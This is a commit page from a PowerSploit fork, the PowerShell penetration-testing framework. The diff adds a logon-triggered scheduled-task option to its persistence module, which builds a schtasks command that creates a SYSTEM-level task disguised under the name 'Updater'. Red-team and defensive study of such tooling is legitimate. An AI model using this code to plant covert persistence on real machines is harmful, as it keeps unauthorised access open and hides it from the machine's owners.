Gh0st
/
PowerSploit
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

fixed ScheduledTaskAtLogon functionality for UserPersistenceOption

This commit is contained in:
Dominic 2017-10-25 23:47:07 -04:00
parent c7985c9bc3
commit d36e43dd71
1 changed files with 7 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
Persistence/Persistence.psm1
View File

@ -254,6 +254,7 @@ function New-UserPersistenceOption
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Switch] [Switch]
$ScheduledTask, $ScheduledTask,
@ -278,6 +279,7 @@ function New-UserPersistenceOption
$OnIdle, $OnIdle,
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )] [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Switch] [Switch]
$AtLogon $AtLogon
) )
@ -647,6 +649,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
switch ($UserPersistenceOption.Trigger) switch ($UserPersistenceOption.Trigger)
{ {
'AtLogon'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "
}
'Daily' 'Daily'
{ {
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "